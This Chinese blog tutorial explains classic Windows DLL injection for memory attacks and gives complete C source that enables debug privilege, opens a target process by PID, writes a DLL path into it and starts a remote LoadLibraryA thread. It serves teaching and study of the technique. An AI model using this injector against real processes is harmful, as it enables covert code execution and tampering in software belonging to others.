DLL注入

前两篇文章介绍了DLL的编写与加载,现在来讲一下在内存攻击中会使用到的DLL注入

附 : 转载请注明来源 enjoy5512的博客 http://blog.csdn.net/enjoy5512

DLL注入的一般步骤:
1, EnableDebugPriv(自己编写)获取远程进程的调试权限
2,OpenProcess获得要注入进程的句柄
3,VirtualAllocEx在远程进程中开辟出一段内存,长度为 strlen(dllname)+1;
4,WriteProcessMemory将Dll的名字写入第三步开辟出的内存中。
5,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
6,CloseHandle关闭进程和远程线程句柄

代码如下:

/////////////////////////////////////////////////////////////////////////////
// 文件名 : inject.c
// 作者 : enjoy5512 修改者 : enjoy5512 最后优化注释者 : enjoy5512
// 个人技术博客 : blog.csdn.net/enjoy5512
// 个人GitHub : github.com/whu-enjoy
// 描述 : 对用户给定的进程PID对所选进程进行dll注入
// 主要函数 :
// int EnableDebugPriv(const char *name) //获取调试权限
//
// 版本 : 最终确定版 完成日期 : 2016年6月1日 19:09:03
// 修改 :
// 参考文献 :
/////////////////////////////////////////////////////////////////////////////


#include <stdio.h>
#include <windows.h>


    //函数说明开始
    //==================================================================================
    // 功能 : 获取进程的调试权限
    // 参数 : const char *name
    // (入口) name : 指向权限名称,我们这里用到SE_DEBUG_NAME
    // #define SE_BACKUP_NAME TEXT("SeBackupPrivilege")
    // #define SE_RESTORE_NAME TEXT("SeRestorePrivilege")
    // #define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege")
    // #define SE_DEBUG_NAME TEXT("SeDebugPrivilege")
    // 返回 : -1表示获取权限失败, 0表示获取权限成功
    // 主要思路 : 先打开进程令牌环,然后获得本地进程name所代表的权限类型的局部唯一ID
    // 最后调整进程权限
    // 调用举例 : EnableDebugPriv(SE_DEBUG_NAME)
    // 日期 : 2016年6月1日 19:08:22(注释日期)
    //==================================================================================
    //程序说明结束
int EnableDebugPriv(const char *name)
{
    HANDLE hToken;        //进程令牌句柄
    TOKEN_PRIVILEGES tp;  //TOKEN_PRIVILEGES结构体,其中包含一个【类型+操作】的权限数组
    LUID luid;           //上述结构体中的类型值

    //打开进程令牌环
    //GetCurrentProcess()获取当前进程的伪句柄,只会指向当前进程或者线程句柄,随时变化
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
    {
       fprintf(stderr,"OpenProcessToken error\n");
       return -1;
    }

    //获得本地进程name所代表的权限类型的局部唯一ID
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
       fprintf(stderr,"LookupPrivilegeValue error\n");
    }

    tp.PrivilegeCount = 1;                               //权限数组中只有一个“元素”
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  //权限操作
    tp.Privileges[0].Luid = luid;                        //权限类型

    //调整进程权限
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
       fprintf(stderr,"AdjustTokenPrivileges error!\n");
       return -1;
    }

    return 0;

}

//函数说明开始
    //==================================================================================
    // 功能 : DLL注入程序的入口函数
    // 参数 : 
    // 返回 : 无
    // 主要思路 : 首先得到需要注入的dll的绝对路径,然后获取远程进程的调试权限(XP下有的
    // 进程写数据时需要调试权限),然后申请一块可读可写的内存,再将dll的绝对
    // 路径写到远程进程刚申请的进程空间里,获取远程进程的LoadLibraryA函数的
    // 地址,再开启一个远程线程,加载dll
    // 日期 : 2016年6月1日 18:35:34(注释日期)
    //==================================================================================
    //函数说明结束
int main()
{
    char lpDllName[260] = {0};         //保存dll绝对路径

    HANDLE hProcess = NULL;            //进程句柄
    HANDLE hNewRemoteThread = NULL;    //远程线程句柄

    LPVOID lpLoadDll = LoadLibraryA;   //LoadLibraryA的指针
    LPVOID lpRemoteBuf = NULL;         //远程进程存放dll绝对路径的控件地址指针

    DWORD dwSize = 0;                  //dll绝对路径长度
    DWORD dwNewThreadId = 0;           //远程线程PID
    DWORD dwWrite = 0;                 //实际写入远程进程空间的字节数

    int pid = 0;                       //远程进程PID

    GetCurrentDirectoryA(260, lpDllName);   //获取当前程序目录
    strcat(lpDllName, "\\dllDemo.dll");     //获取dll绝对路径

    if(EnableDebugPriv(SE_DEBUG_NAME))      //获取远程进程调试权限
    {
        fprintf(stderr, "Add Privilege Failed!!\n");
    }

    printf("请输入要注入的进程pid : ");
    scanf("%d", &pid);                      //输入远程进程PID

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);   //打开远程进程句柄,获取全部权限
    if (NULL == hProcess)
    {
        fprintf(stderr, "\n获取进程句柄失败!\n,错误码 : %d", GetLastError());
        exit(1);
    }

    dwSize = strlen(lpDllName) + 1;         //得到dll路径长度+1,这个是开辟远程进程空间的大小
    lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); //申请远程进程一段可读可写的空间

    if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwWrite))  //写入dll绝对路径
    {
        if (dwWrite != dwSize)             //如果没有将路径写完,则释放申请的空间并退出
        {
            VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
            CloseHandle(hProcess);
            exit(2);
        }
    }
    else                                  //如果写入失败则报出错代码并退出
    {
        fprintf(stderr, "\n写入远程进程内存出错\n出错码 : %d", GetLastError());
        CloseHandle(hProcess);
        exit(3);
    }

    //开启远程线程,加载dll
    hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
    if(NULL == hNewRemoteThread)  //如果开启线程失败,则报出错码并退出
    {
        fprintf(stderr, "\n建立远程线程失败\n错误码 : %d", GetLastError());
        CloseHandle(hProcess);
        exit(4);
    }

    //WaitForSingleObject(hNewRemoteThread, INFINITE);
    CloseHandle(hProcess);
    CloseHandle(hNewRemoteThread);

    return 0;

}

你可能感兴趣的:(DLL注入,远程进程读写)